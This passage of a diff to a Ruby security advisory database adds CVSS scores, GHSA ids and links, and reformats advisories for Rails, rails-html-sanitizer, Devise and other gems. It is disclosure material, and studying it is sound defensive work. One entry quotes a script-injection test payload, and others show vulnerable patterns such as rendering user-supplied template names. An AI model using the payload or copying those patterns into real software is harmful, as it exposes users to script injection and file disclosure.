   url: https://hackerone.com/reports/105190
   title: git-fastclone Shell Metacharacter Injection Arbitrary Command Execution
   date: 2015-12-15
@@ -16,6 +17,7 @@ advisory:
     command. An attacker can execute malicious commands by modifying the strings
     that are passed as arguments to "cd " and "git clone " commands in the
     library.
+  cvss_v3: 9.8
   patched_versions:
   - ">= 1.0.5"
 ---
diff --git a/advisories/_posts/2015-12-18-OSVDB-132234.md b/advisories/_posts/2015-12-18-OSVDB-132234.md
index 3b96f2ab..e1ee2e85 100644
--- a/advisories/_posts/2015-12-18-OSVDB-132234.md
+++ b/advisories/_posts/2015-12-18-OSVDB-132234.md
@@ -1,8 +1,7 @@
 ---
 layout: advisory
-title: |
-  OSVDB-132234 (rack-attack): rack-attack Gem for Ruby missing normalization before request path
-  processing
+title: 'OSVDB-132234 (rack-attack): rack-attack Gem for Ruby missing normalization
+  before request path processing'
 comments: false
 categories:
 - rack-attack
@@ -10,17 +9,30 @@ advisory:
   gem: rack-attack
   osvdb: 132234
   url: https://github.com/kickstarter/rack-attack/releases/tag/v4.3.1
-  title: |
-    rack-attack Gem for Ruby missing normalization before request path
-    processing
+  title: rack-attack Gem for Ruby missing normalization before request path processing
   date: 2015-12-18
-  description: "When using rack-attack with a rails app, developers expect the request\npath
-    to be normalized. In particular, trailing slashes are stripped so\na request path
-    \"/login/\" becomes \"/login\" by the time you're in\nActionController.\n\nSince
-    Rack::Attack runs before ActionDispatch, the request path is not\nyet normalized.
-    This can cause throttles and blacklists to not work as\nexpected.\n\nE.g., a throttle:\n\n`throttle('logins',
-    ...) {|req| req.path == \"/login\" }`\n\nwould not match a request to '/login/',
-    though Rails would route\n'/login/' to the same '/login' action. \n"
+  description: |
+    When using rack-attack with a rails app, developers expect the request
+    path to be normalized. In particular, trailing slashes are stripped so
+    a request path "/login/" becomes "/login" by the time you're in
+    ActionController.
+
+    Since Rack::Attack runs before ActionDispatch, the request path is not
+    yet normalized. This can cause throttles and blacklists to not work as
+    expected.
+
+    E.g., a throttle:
+
+    `throttle('logins', ...) {|req| req.path == "/login" }`
+
+    would not match a request to '/login/', though Rails would route
+    '/login/' to the same '/login' action.
   patched_versions:
   - ">= 4.3.1"
+  related:
+    url:
+    - https://github.com/kickstarter/rack-attack/releases/tag/v4.3.1
+    - https://github.com/rack/rack-attack/commit/76c2e3143099d938883ae5654527b47e9e6a8977
+    - https://security.snyk.io/vuln/SNYK-RUBY-RACKATTACK-20246
+    - https://github.com/rack/rack-attack/blob/main/CHANGELOG.md
 ---
diff --git a/advisories/_posts/2016-01-04-CVE-2015-7541.md b/advisories/_posts/2016-01-04-CVE-2015-7541.md
index 807cf9b4..e2290ad2 100644
--- a/advisories/_posts/2016-01-04-CVE-2015-7541.md
+++ b/advisories/_posts/2016-01-04-CVE-2015-7541.md
@@ -9,6 +9,7 @@ advisory:
   gem: colorscore
   cve: 2015-7541
   osvdb: 132516
+  ghsa: 73qw-ww62-m54x
   url: http://seclists.org/oss-sec/2016/q1/17
   title: colorscore Gem for Ruby lib/colorscore/histogram.rb Arbitrary Command Injection
   date: 2016-01-04
@@ -23,6 +24,7 @@ advisory:
 
     To resolve this issue, the aforementioned variables (especially `image_path`)
     must be sanitized for shell metacharacters.
+  cvss_v3: 10.0
   patched_versions:
   - ">= 0.0.5"
 ---
diff --git a/advisories/_posts/2016-01-08-OSVDB-132800.md b/advisories/_posts/2016-01-08-OSVDB-132800.md
index 4fdc708c..3c84d5b6 100644
--- a/advisories/_posts/2016-01-08-OSVDB-132800.md
+++ b/advisories/_posts/2016-01-08-OSVDB-132800.md
@@ -1,21 +1,28 @@
 ---
 layout: advisory
-title: |
-  OSVDB-132800 (auto_select2): auto_select2 Gem for Ruby allows arbitrary search execution
+title: 'OSVDB-132800 (auto_select2): auto_select2 Gem for Ruby allows arbitrary search
+  execution'
 comments: false
 categories:
 - auto_select2
 advisory:
   gem: auto_select2
   osvdb: 132800
-  url: https://github.com/Loriowar/auto_select2/issues/4
-  title: |
-    auto_select2 Gem for Ruby allows arbitrary search execution
+  url: https://www.openwall.com/lists/oss-security/2016/01/11/2
+  title: auto_select2 Gem for Ruby allows arbitrary search execution
   date: 2016-01-08
   description: |
-    auto_select2 Gem for Ruby contains a flaw that is triggered when handling the
-    'params[:default_class_name]' option. This allows users to search any object
-    of all given ActiveRecord classes.
+    auto_select2 Gem for Ruby contains a flaw that is triggered
+    when handling the 'params[:default_class_name]' option. This
+    allows users to search any object of all given ActiveRecord classes.
   patched_versions:
   - ">= 0.5.0"
+  related:
+    url:
+    - https://www.openwall.com/lists/oss-security/2016/01/11/2
+    - https://github.com/Loriowar/auto_select2/issues/4
+    - https://github.com/bkocherov/auto_select2/commit/c283ba5b2ad828c3b7414565ae66cd0d86f5a5df
+    - https://github.com/rubysec/ruby-advisory-db/issues/224
+    - https://github.com/rubysec/ruby-advisory-db/pull/227
+    - https://github.com/Tab10id/auto_awesomplete/issues/2
 ---
diff --git a/advisories/_posts/2016-01-12-CVE-2017-1000043.md b/advisories/_posts/2016-01-12-CVE-2017-1000043.md
new file mode 100644
index 00000000..79c4e866
--- /dev/null
+++ b/advisories/_posts/2016-01-12-CVE-2017-1000043.md
@@ -0,0 +1,43 @@
+---
+layout: advisory
+title: 'CVE-2017-1000043 (mapbox-rails): mapbox-rails Content Injection via TileJSON
+  Name'
+comments: false
+categories:
+- mapbox-rails
+advisory:
+  gem: mapbox-rails
+  cve: 2017-1000043
+  osvdb: 132871
+  ghsa: q69p-5h74-w36f
+  url: https://nvd.nist.gov/vuln/detail/CVE-2017-1000043
+  title: mapbox-rails Content Injection via TileJSON Name
+  date: 2016-01-12
+  description: |
+    Mapbox.js versions 1.x prior to 1.6.6 and 2.x prior to 2.2.4 are vulnerable
+    to a cross-site-scripting attack in certain uncommon usage scenarios.
+
+    If you use L.mapbox.map and L.mapbox.shareControl it is possible for a
+    malicious user with control over the TileJSON content to inject script
+    content into the name value of the TileJSON. After clicking on the share
+    control, the malicious code will execute in the context of the page using
+    Mapbox.js.
+
+    Such usage is uncommon. L.mapbox.shareControl is not automatically added to
+    Mapbox.js maps and must be explicitly added. The following usage scenarios
+    are not vulnerable:
+
+    * the map does not use a share control (L.mapbox.sharecontrol)
+    * only trusted TileJSON content is loaded
+  cvss_v2: 4.3
+  cvss_v3: 6.1
+  patched_versions:
+  - "~> 1.6.6"
+  - ">= 2.2.4"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-1000043
+    - https://nodesecurity.io/advisories/74
+    - https://hackerone.com/reports/99245
+    - https://github.com/advisories/GHSA-q69p-5h74-w36f
+---
diff --git a/advisories/_posts/2016-01-12-OSVDB-132871.md b/advisories/_posts/2016-01-12-OSVDB-132871.md
index dfe03714..245c51e0 100644
--- a/advisories/_posts/2016-01-12-OSVDB-132871.md
+++ b/advisories/_posts/2016-01-12-OSVDB-132871.md
@@ -26,4 +26,7 @@ advisory:
 
     * the map does not use a share control (L.mapbox.sharecontrol)
     * only trusted TileJSON content is loaded
+  patched_versions:
+  - "~> 1.6.6"
+  - ">= 2.2.4"
 ---
diff --git a/advisories/_posts/2016-01-14-CVE-2015-7565.md b/advisories/_posts/2016-01-14-CVE-2015-7565.md
index 9a628ad4..6d48a0ce 100644
--- a/advisories/_posts/2016-01-14-CVE-2015-7565.md
+++ b/advisories/_posts/2016-01-14-CVE-2015-7565.md
@@ -8,6 +8,7 @@ categories:
 advisory:
   gem: ember-source
   cve: 2015-7565
+  ghsa: m3q7-rj8g-m457
   url: https://groups.google.com/forum/#!topic/ember-security/OfyQkoSuppY
   title: Ember.js XSS Vulnerability with User-Supplied JSON
   date: 2016-01-14
@@ -26,6 +27,9 @@ advisory:
 
     All users running an affected release should either upgrade or use of
     the workarounds immediately.
+  cvss_v3: 6.1
+  unaffected_versions:
+  - "< 1.8.0"
   patched_versions:
   - "~> 1.11.4"
   - "~> 1.12.2"
@@ -33,6 +37,4 @@ advisory:
   - "~> 2.0.3"
   - "~> 2.1.2"
   - ">= 2.2.1"
-  unaffected_versions:
-  - "< 1.8.0"
 ---
diff --git a/advisories/_posts/2016-01-18-CVE-2015-8314.md b/advisories/_posts/2016-01-18-CVE-2015-8314.md
index fb4ffacb..28d5c359 100644
--- a/advisories/_posts/2016-01-18-CVE-2015-8314.md
+++ b/advisories/_posts/2016-01-18-CVE-2015-8314.md
@@ -8,6 +8,7 @@ categories:
 advisory:
   gem: devise
   cve: 2015-8314
+  ghsa: 746g-3gfp-hfhw
   url: http://blog.plataformatec.com.br/2016/01/improve-remember-me-cookie-expiration-in-devise/
   title: Devise Gem for Ruby Unauthorized Access Using Remember Me Cookie
   date: 2016-01-18
@@ -17,6 +18,7 @@ advisory:
     attacker manages to steal a remember me cookie and the user does not change
     the password frequently, the cookie can be used to gain access to the
     application indefinitely.
+  cvss_v3: 7.5
   patched_versions:
   - ">= 3.5.4"
 ---
diff --git a/advisories/_posts/2016-01-19-CVE-2015-7499.md b/advisories/_posts/2016-01-19-CVE-2015-7499.md
index f0634709..bc060a2b 100644
--- a/advisories/_posts/2016-01-19-CVE-2015-7499.md
+++ b/advisories/_posts/2016-01-19-CVE-2015-7499.md
@@ -1,16 +1,16 @@
 ---
 layout: advisory
-title: |
-  CVE-2015-7499 (nokogiri): Nokogiri gem contains a heap-based buffer overflow vulnerability in libxml2
+title: 'CVE-2015-7499 (nokogiri): Nokogiri gem contains a heap-based buffer overflow
+  vulnerability in libxml2'
 comments: false
 categories:
 - nokogiri
 advisory:
   gem: nokogiri
   cve: 2015-7499
+  ghsa: jxjr-5h69-qw3w
   url: https://groups.google.com/forum/#!topic/ruby-security-ann/Dy7YiKb_pMM
-  title: |
-    Nokogiri gem contains a heap-based buffer overflow vulnerability in libxml2
+  title: Nokogiri gem contains a heap-based buffer overflow vulnerability in libxml2
   date: 2016-01-19
   description: |
     Nokogiri version 1.6.7.2 has been released, pulling in several upstream
diff --git a/advisories/_posts/2016-01-25-CVE-2015-7576.md b/advisories/_posts/2016-01-25-CVE-2015-7576.md
index 27e7644c..92d721f5 100644
--- a/advisories/_posts/2016-01-25-CVE-2015-7576.md
+++ b/advisories/_posts/2016-01-25-CVE-2015-7576.md
@@ -10,9 +10,10 @@ advisory:
   gem: actionpack
   framework: rails
   cve: 2015-7576
-  date: 2016-01-25
+  ghsa: p692-7mm3-3fxg
   url: https://groups.google.com/forum/#!topic/rubyonrails-security/ANv0HDHEC3k
   title: Timing attack vulnerability in basic authentication in Action Controller.
+  date: 2016-01-25
   description: |
     There is a timing attack vulnerability in the basic authentication support
     in Action Controller. This vulnerability has been assigned the CVE
@@ -114,6 +115,8 @@ advisory:
 
     Thank you to Daniel Waterworth for reporting the problem and working with us to
     fix it.
+  cvss_v2: 4.3
+  cvss_v3: 3.7
   patched_versions:
   - ">= 5.0.0.beta1.1"
   - "~> 4.2.5, >= 4.2.5.1"
diff --git a/advisories/_posts/2016-01-25-CVE-2015-7577.md b/advisories/_posts/2016-01-25-CVE-2015-7577.md
index 26635161..00f79707 100644
--- a/advisories/_posts/2016-01-25-CVE-2015-7577.md
+++ b/advisories/_posts/2016-01-25-CVE-2015-7577.md
@@ -10,9 +10,10 @@ advisory:
   gem: activerecord
   framework: rails
   cve: 2015-7577
-  date: 2016-01-25
+  ghsa: xrr6-3pc4-m447
   url: https://groups.google.com/forum/#!topic/rubyonrails-security/cawsWcQ6c8g
   title: Nested attributes rejection proc bypass in Active Record
+  date: 2016-01-25
   description: |
     There is a vulnerability in how the nested attributes feature in Active Record
     handles updates in combination with destroy flags when destroying records is
@@ -101,6 +102,8 @@ advisory:
     Thank you to Justin Coyne for reporting the problem and working with us to fix it.
 
     [1]: https://github.com/rails/rails/commit/a9b4b5da7c216e4464eeb9dbd0a39ea258d64325
+  cvss_v2: 5.0
+  cvss_v3: 5.3
   unaffected_versions:
   - "~> 3.0.0"
   - "< 3.0.0"
diff --git a/advisories/_posts/2016-01-25-CVE-2015-7578.md b/advisories/_posts/2016-01-25-CVE-2015-7578.md
index f9d5150f..f0888eaf 100644
--- a/advisories/_posts/2016-01-25-CVE-2015-7578.md
+++ b/advisories/_posts/2016-01-25-CVE-2015-7578.md
@@ -7,23 +7,47 @@ categories:
 advisory:
   gem: rails-html-sanitizer
   cve: 2015-7578
-  date: 2016-01-25
+  ghsa: 59c7-4xj2-hgvw
   url: https://groups.google.com/forum/#!topic/rubyonrails-security/uh--W4TDwmI
   title: Possible XSS vulnerability in rails-html-sanitizer
-  description: "There is a possible XSS vulnerability in rails-html-sanitizer. This
-    \nvulnerability has been assigned the CVE identifier CVE-2015-7578. \n\nVersions
-    Affected:  All. \nNot affected:       None. \nFixed Versions:     1.0.3 \n\nImpact
-    \n------ \nThere is a possible XSS vulnerability in rails-html-sanitizer.  Certain
-    \nattributes are not removed from tags when they are sanitized, and these \nattributes
-    can lead to an XSS attack on target applications. \n\nAll users running an affected
-    release should either upgrade or use one of the \nworkarounds immediately. \n\nReleases
-    \n-------- \nThe FIXED releases are available at the normal locations. \n\nWorkarounds
-    \n----------- \nThere are no feasible workarounds for this issue. \n\nPatches
-    \n------- \nTo aid users who aren't able to upgrade immediately we have provided
-    patches for \nthe two supported release series. They are in git-am format and
-    consist of a \nsingle changeset. \n\n* 1-0-sanitize_data_attributes.patch - Patch
-    for 1.0 series \n\nCredits \n------- \nThanks to Ben Murphy and Marien for reporting
-    this.\n  \n"
+  date: 2016-01-25
+  description: |
+    There is a possible XSS vulnerability in rails-html-sanitizer. This
+    vulnerability has been assigned the CVE identifier CVE-2015-7578.
+
+    Versions Affected:  All.
+    Not affected:       None.
+    Fixed Versions:     1.0.3
+
+    Impact
+    ------
+    There is a possible XSS vulnerability in rails-html-sanitizer.  Certain
+    attributes are not removed from tags when they are sanitized, and these
+    attributes can lead to an XSS attack on target applications.
+
+    All users running an affected release should either upgrade or use one of the
+    workarounds immediately.
+
+    Releases
+    --------
+    The FIXED releases are available at the normal locations.
+
+    Workarounds
+    -----------
+    There are no feasible workarounds for this issue.
+
+    Patches
+    -------
+    To aid users who aren't able to upgrade immediately we have provided patches for
+    the two supported release series. They are in git-am format and consist of a
+    single changeset.
+
+    * 1-0-sanitize_data_attributes.patch - Patch for 1.0 series
+
+    Credits
+    -------
+    Thanks to Ben Murphy and Marien for reporting this.
+  cvss_v3: 6.1
   patched_versions:
-  - "~> 1.0.3"
+  - ">= 1.0.3"
 ---
diff --git a/advisories/_posts/2016-01-25-CVE-2015-7579.md b/advisories/_posts/2016-01-25-CVE-2015-7579.md
index bce9fb13..bb5e2904 100644
--- a/advisories/_posts/2016-01-25-CVE-2015-7579.md
+++ b/advisories/_posts/2016-01-25-CVE-2015-7579.md
@@ -7,32 +7,74 @@ categories:
 advisory:
   gem: rails-html-sanitizer
   cve: 2015-7579
-  date: 2016-01-25
+  ghsa: r9c2-cr39-c8g6
   url: https://groups.google.com/forum/#!topic/rubyonrails-security/OU9ugTZcbjc
   title: XSS vulnerability in rails-html-sanitizer
-  description: "There is a XSS vulnerability in `Rails::Html::FullSanitizer` used
-    by Action View's `strip_tags`. \nThis vulnerability has been assigned the CVE
-    identifier CVE-2015-7579. \n\nVersions Affected:  1.0.2 \nNot affected:       1.0.0,
-    1.0.1 \nFixed Versions:     1.0.3 \n\nImpact \n------ \nDue to the way that `Rails::Html::FullSanitizer`
-    is implemented, if an attacker \npasses an already escaped HTML entity to the
-    input of Action View's `strip_tags` \nthese entities will be unescaped what may
-    cause a XSS attack if used in combination \nwith `raw` or `html_safe`. \n\nFor
-    example: \n\n    strip_tags(\"&lt;script&gt;alert('XSS')&lt;/script&gt;\") \n\nWould
-    generate: \n\n    <script>alert('XSS')</script> \n\nAfter the fix it will generate:
-    \n\n    &lt;script&gt;alert('XSS')&lt;/script&gt; \n\nAll users running an affected
-    release should either upgrade or use one of the \nworkarounds immediately. \n\nReleases
-    \n-------- \nThe FIXED releases are available at the normal locations. \n\nWorkarounds
-    \n----------- \nIf you can't upgrade, please use the following monkey patch in
-    an initializer \nthat is loaded before your application: \n\n``` \n$ cat config/initializers/strip_tags_fix.rb
-    \nclass ActionView::Base \n  def strip_tags(html) \n    self.class.full_sanitizer.sanitize(html)
-    \n  end \nend \n``` \n\nPatches \n------- \nTo aid users who aren't able to upgrade
-    immediately we have provided patches \nfor the two supported release series. They
-    are in git-am format and consist \nof a single changeset. \n\n* Do-not-unescape-already-escaped-HTML-entities.patch
-    \n\nCredits \n------- \nThank you to Arthur Neves from GitHub and Spyros Livathinos
-    from Zendesk for \nreporting the problem and working with us to fix it. \n"
+  date: 2016-01-25
+  description: |
+    There is a XSS vulnerability in `Rails::Html::FullSanitizer` used by Action View's `strip_tags`.
+    This vulnerability has been assigned the CVE identifier CVE-2015-7579.
+
+    Versions Affected:  1.0.2
+    Not affected:       1.0.0, 1.0.1
+    Fixed Versions:     1.0.3
+
+    Impact
+    ------
+    Due to the way that `Rails::Html::FullSanitizer` is implemented, if an attacker
+    passes an already escaped HTML entity to the input of Action View's `strip_tags`
+    these entities will be unescaped what may cause a XSS attack if used in combination
+    with `raw` or `html_safe`.
+
+    For example:
+
+        strip_tags("&lt;script&gt;alert('XSS')&lt;/script&gt;")
+
+    Would generate:
+
+        <script>alert('XSS')</script>
+
+    After the fix it will generate:
+
+        &lt;script&gt;alert('XSS')&lt;/script&gt;
+
+    All users running an affected release should either upgrade or use one of the
+    workarounds immediately.
+
+    Releases
+    --------
+    The FIXED releases are available at the normal locations.
+
+    Workarounds
+    -----------
+    If you can't upgrade, please use the following monkey patch in an initializer
+    that is loaded before your application:
+
+    ```
+    $ cat config/initializers/strip_tags_fix.rb
+    class ActionView::Base
+      def strip_tags(html)
+        self.class.full_sanitizer.sanitize(html)
+      end
+    end
+    ```
+
+    Patches
+    -------
+    To aid users who aren't able to upgrade immediately we have provided patches
+    for the two supported release series. They are in git-am format and consist
+    of a single changeset.
+
+    * Do-not-unescape-already-escaped-HTML-entities.patch
+
+    Credits
+    -------
+    Thank you to Arthur Neves from GitHub and Spyros Livathinos from Zendesk for
+    reporting the problem and working with us to fix it.
+  cvss_v3: 6.1
   unaffected_versions:
   - "~> 1.0.0"
   - "~> 1.0.1"
   patched_versions:
-  - "~> 1.0.3"
+  - ">= 1.0.3"
 ---
diff --git a/advisories/_posts/2016-01-25-CVE-2015-7580.md b/advisories/_posts/2016-01-25-CVE-2015-7580.md
index 270e7a6b..d2f58836 100644
--- a/advisories/_posts/2016-01-25-CVE-2015-7580.md
+++ b/advisories/_posts/2016-01-25-CVE-2015-7580.md
@@ -7,29 +7,70 @@ categories:
 advisory:
   gem: rails-html-sanitizer
   cve: 2015-7580
-  date: 2016-01-25
+  ghsa: ghqm-pgxj-37gq
   url: https://groups.google.com/forum/#!topic/rubyonrails-security/uh--W4TDwmI
   title: Possible XSS vulnerability in rails-html-sanitizer
-  description: "There is a possible XSS vulnerability in the white list sanitizer
-    in the \nrails-html-sanitizer gem. This vulnerability has been assigned the CVE
-    \nidentifier CVE-2015-7580. \n\nVersions Affected:  All. \nNot affected:       None.
-    \nFixed Versions:     v1.0.3 \n\nImpact \n------ \nCarefully crafted strings can
-    cause user input to bypass the sanitization in \nthe white list sanitizer which
-    will can lead to an XSS attack. \n\nVulnerable code will look something like this:
-    \n\n  <%= sanitize user_input, tags: %w(em) %> \n\nAll users running an affected
-    release should either upgrade or use one of the \nworkarounds immediately. \n\nReleases
-    \n-------- \nThe FIXED releases are available at the normal locations. \n\nWorkarounds
-    \n----------- \nPutting the following monkey patch in an initializer can help
-    to mitigate the \nissue: \n\n``` \nclass Rails::Html::PermitScrubber \n  alias
-    :old_scrub :scrub \n  alias :old_skip_node? :skip_node? \n\n  def scrub(node)
-    \n    if node.cdata? \n      text = node.document.create_text_node node.text \n
-    \     node.replace text \n      return CONTINUE \n    end \n    old_scrub node
-    \n  end \n\n  def skip_node?(node); node.text?; end \nend \n``` \n\nPatches \n-------
-    \nTo aid users who aren't able to upgrade immediately we have provided patches
-    for \nthe two supported release series. They are in git-am format and consist
-    of a \nsingle changeset. \n\n* 1-0-whitelist_sanitizer_xss.patch - Patch for 1.0
-    series \n\nCredits \n------- \nThanks to Arnaud Germis, Nate Clark, and John Colvin
-    for reporting this issue.\n"
+  date: 2016-01-25
+  description: |
+    There is a possible XSS vulnerability in the white list sanitizer in the
+    rails-html-sanitizer gem. This vulnerability has been assigned the CVE
+    identifier CVE-2015-7580.
+
+    Versions Affected:  All.
+    Not affected:       None.
+    Fixed Versions:     v1.0.3
+
+    Impact
+    ------
+    Carefully crafted strings can cause user input to bypass the sanitization in
+    the white list sanitizer which will can lead to an XSS attack.
+
+    Vulnerable code will look something like this:
+
+      <%= sanitize user_input, tags: %w(em) %>
+
+    All users running an affected release should either upgrade or use one of the
+    workarounds immediately.
+
+    Releases
+    --------
+    The FIXED releases are available at the normal locations.
+
+    Workarounds
+    -----------
+    Putting the following monkey patch in an initializer can help to mitigate the
+    issue:
+
+    ```
+    class Rails::Html::PermitScrubber
+      alias :old_scrub :scrub
+      alias :old_skip_node? :skip_node?
+
+      def scrub(node)
+        if node.cdata?
+          text = node.document.create_text_node node.text
+          node.replace text
+          return CONTINUE
+        end
+        old_scrub node
+      end
+
+      def skip_node?(node); node.text?; end
+    end
+    ```
+
+    Patches
+    -------
+    To aid users who aren't able to upgrade immediately we have provided patches for
+    the two supported release series. They are in git-am format and consist of a
+    single changeset.
+
+    * 1-0-whitelist_sanitizer_xss.patch - Patch for 1.0 series
+
+    Credits
+    -------
+    Thanks to Arnaud Germis, Nate Clark, and John Colvin for reporting this issue.
+  cvss_v3: 6.1
   patched_versions:
-  - "~> 1.0.3"
+  - ">= 1.0.3"
 ---
diff --git a/advisories/_posts/2016-01-25-CVE-2015-7581.md b/advisories/_posts/2016-01-25-CVE-2015-7581.md
index e17401c7..af761bd4 100644
--- a/advisories/_posts/2016-01-25-CVE-2015-7581.md
+++ b/advisories/_posts/2016-01-25-CVE-2015-7581.md
@@ -10,30 +10,49 @@ advisory:
   gem: actionpack
   framework: rails
   cve: 2015-7581
-  date: 2016-01-25
+  ghsa: 9h6g-gp95-x3q5
   url: https://groups.google.com/forum/#!topic/rubyonrails-security/dthJ5wL69JE
   title: Object leak vulnerability for wildcard controller routes in Action Pack
-  description: "There is an object leak vulnerability for wildcard controllers in
-    Action Pack. \nThis vulnerability has been assigned the CVE identifier CVE-2015-7581.
-    \n\nVersions Affected:  >= 4.0.0 and < 5.0.0.beta1 \nNot affected:       < 4.0.0,
-    5.0.0.beta1 and newer \nFixed Versions:     4.2.5.1, 4.1.14.1 \n\nImpact \n------
-    \nUsers that have a route that contains the string \":controller\" are susceptible
-    \nto objects being leaked globally which can lead to unbounded memory growth.
-    \nTo identify if your application is vulnerable, look for routes that contain
-    \n\":controller\". \n\nInternally, Action Pack keeps a map of \"url controller
-    name\" to \"controller \nclass name\".  This map is cached globally, and is populated
-    even if the \ncontroller class doesn't actually exist. \n\nAll users running an
-    affected release should either upgrade or use one of the \nworkarounds immediately.
-    \n\nReleases \n-------- \nThe FIXED releases are available at the normal locations.
-    \n\nWorkarounds \n----------- \nThere are no feasible workarounds for this issue.
-    \n\nPatches \n------- \nTo aid users who aren't able to upgrade immediately we
-    have provided patches for the two supported release series.  They are in git-am
-    format and consist of a single changeset. \n\n* 4-1-wildcard_route.patch - Patch
-    for 4.1 series \n* 4-2-wildcard_route.patch - Patch for 4.2 series \n\nPlease
-    note that only the 4.1.x and 4.2.x series are supported at present.  Users of
-    earlier unsupported releases are advised to upgrade as soon as possible as we
-    cannot guarantee the continued availability of security fixes for unsupported
-    releases.\n"
+  date: 2016-01-25
+  description: |
+    There is an object leak vulnerability for wildcard controllers in Action Pack.
+    This vulnerability has been assigned the CVE identifier CVE-2015-7581.
+
+    Versions Affected:  >= 4.0.0 and < 5.0.0.beta1
+    Not affected:       < 4.0.0, 5.0.0.beta1 and newer
+    Fixed Versions:     4.2.5.1, 4.1.14.1
+
+    Impact
+    ------
+    Users that have a route that contains the string ":controller" are susceptible
+    to objects being leaked globally which can lead to unbounded memory growth.
+    To identify if your application is vulnerable, look for routes that contain
+    ":controller".
+
+    Internally, Action Pack keeps a map of "url controller name" to "controller
+    class name".  This map is cached globally, and is populated even if the
+    controller class doesn't actually exist.
+
+    All users running an affected release should either upgrade or use one of the
+    workarounds immediately.
+
+    Releases
+    --------
+    The FIXED releases are available at the normal locations.
+
+    Workarounds
+    -----------
+    There are no feasible workarounds for this issue.
+
+    Patches
+    -------
+    To aid users who aren't able to upgrade immediately we have provided patches for the two supported release series.  They are in git-am format and consist of a single changeset.
+
+    * 4-1-wildcard_route.patch - Patch for 4.1 series
+    * 4-2-wildcard_route.patch - Patch for 4.2 series
+
+    Please note that only the 4.1.x and 4.2.x series are supported at present.  Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.
+  cvss_v3: 7.5
   unaffected_versions:
   - "< 4.0.0"
   - ">= 5.0.0.beta1"
diff --git a/advisories/_posts/2016-01-25-CVE-2016-0751.md b/advisories/_posts/2016-01-25-CVE-2016-0751.md
index 0b79f594..b5dc1c85 100644
--- a/advisories/_posts/2016-01-25-CVE-2016-0751.md
+++ b/advisories/_posts/2016-01-25-CVE-2016-0751.md
@@ -10,9 +10,10 @@ advisory:
   gem: actionpack
   framework: rails
   cve: 2016-0751
-  date: 2016-01-25
+  ghsa: ffpv-c4hm-3x6v
   url: https://groups.google.com/forum/#!topic/rubyonrails-security/9oLY_FCzvoc
   title: Possible Object Leak and Denial of Service attack in Action Pack
+  date: 2016-01-25
   description: |
     There is a possible object leak which can lead to a denial of service
     vulnerability in Action Pack. This vulnerability has been
@@ -69,6 +70,8 @@ advisory:
     Credits
     -------
     Aaron Patterson <3<3
+  cvss_v2: 5.0
+  cvss_v3: 7.5
   patched_versions:
   - ">= 5.0.0.beta1.1"
   - "~> 4.2.5, >= 4.2.5.1"
diff --git a/advisories/_posts/2016-01-25-CVE-2016-0752.md b/advisories/_posts/2016-01-25-CVE-2016-0752.md
index db85a991..af91697e 100644
--- a/advisories/_posts/2016-01-25-CVE-2016-0752.md
+++ b/advisories/_posts/2016-01-25-CVE-2016-0752.md
@@ -10,9 +10,10 @@ advisory:
   gem: actionview
   framework: rails
   cve: 2016-0752
-  date: 2016-01-25
+  ghsa: xrr4-p6fq-hjg7
   url: https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00
   title: Possible Information Leak Vulnerability in Action View
+  date: 2016-01-25
   description: |
     There is a possible directory traversal and information leak vulnerability in
     Action View. This vulnerability has been assigned the CVE identifier
@@ -91,6 +92,8 @@ advisory:
     Credits
     -------
     Thanks John Poulin for reporting this!
+  cvss_v2: 5.0
+  cvss_v3: 7.5
   patched_versions:
   - ">= 5.0.0.beta1.1"
   - "~> 4.2.5, >= 4.2.5.1"
diff --git a/advisories/_posts/2016-01-25-CVE-2016-0753.md b/advisories/_posts/2016-01-25-CVE-2016-0753.md
index 56881d5e..b66c0c44 100644
--- a/advisories/_posts/2016-01-25-CVE-2016-0753.md
+++ b/advisories/_posts/2016-01-25-CVE-2016-0753.md
@@ -10,9 +10,10 @@ advisory:
   gem: activemodel
   framework: rails
   cve: 2016-0753
-  date: 2016-01-25
+  ghsa: 543v-gj2c-r3ch
   url: https://groups.google.com/forum/#!topic/rubyonrails-security/6jQVC1geukQ
   title: Possible Input Validation Circumvention in Active Model
+  date: 2016-01-25
   description: |
     There is a possible input validation circumvention vulnerability in Active
     Model. This vulnerability has been assigned the CVE identifier CVE-2016-0753.
@@ -88,6 +89,8 @@ advisory:
     Thanks to:
 
     [John Backus](https://github.com/backus) from BlockScore for reporting this!
+  cvss_v2: 5.0
+  cvss_v3: 5.3
   unaffected_versions:
   - "<= 4.0.13"
   patched_versions:
diff --git a/advisories/_posts/2016-02-29-CVE-2016-2097.md b/advisories/_posts/2016-02-29-CVE-2016-2097.md
index 59107f0a..0141f134 100644
--- a/advisories/_posts/2016-02-29-CVE-2016-2097.md
+++ b/advisories/_posts/2016-02-29-CVE-2016-2097.md
@@ -10,32 +10,84 @@ advisory:
   gem: actionview
   framework: rails
   cve: 2016-2097
-  date: 2016-02-29
+  ghsa: vx9j-46rh-fqr8
   url: https://groups.google.com/forum/#!topic/rubyonrails-security/ddY6HgqB2z4
   title: Possible Information Leak Vulnerability in Action View
-  description: "\nThere is a possible directory traversal and information leak vulnerability
-    \nin Action View. This was meant to be fixed on CVE-2016-0752. However the 3.2
-    \npatch was not covering all the scenarios. This vulnerability has been \nassigned
-    the CVE identifier CVE-2016-2097.\n\nVersions Affected:  3.2.x, 4.0.x, 4.1.x\nNot
-    affected:       4.2+\nFixed Versions:     3.2.22.2, 4.1.14.2\n\nImpact \n------
-    \nApplications that pass unverified user input to the `render` method in a\ncontroller
-    may be vulnerable to an information leak vulnerability.\n\nImpacted code will
-    look something like this:\n\n```ruby\ndef index\n  render params[:id]\nend\n```\n\nCarefully
-    crafted requests can cause the above code to render files from\nunexpected places
-    like outside the application's view directory, and can\npossibly escalate this
-    to a remote code execution attack.\n\nAll users running an affected release should
-    either upgrade or use one of the\nworkarounds immediately.\n\nReleases \n--------
-    \nThe FIXED releases are available at the normal locations. \n\nWorkarounds \n-----------
-    \nA workaround to this issue is to not pass arbitrary user input to the `render`\nmethod.
-    Instead, verify that data before passing it to the `render` method.\n\nFor example,
-    change this:\n\n```ruby\ndef index\n  render params[:id]\nend\n```\n\nTo this:\n\n```ruby\ndef
-    index\n  render verify_template(params[:id])\nend\n\nprivate\ndef verify_template(name)\n
-    \ # add verification logic particular to your application here\nend\n```\n\nPatches
-    \n------- \nTo aid users who aren't able to upgrade immediately we have provided
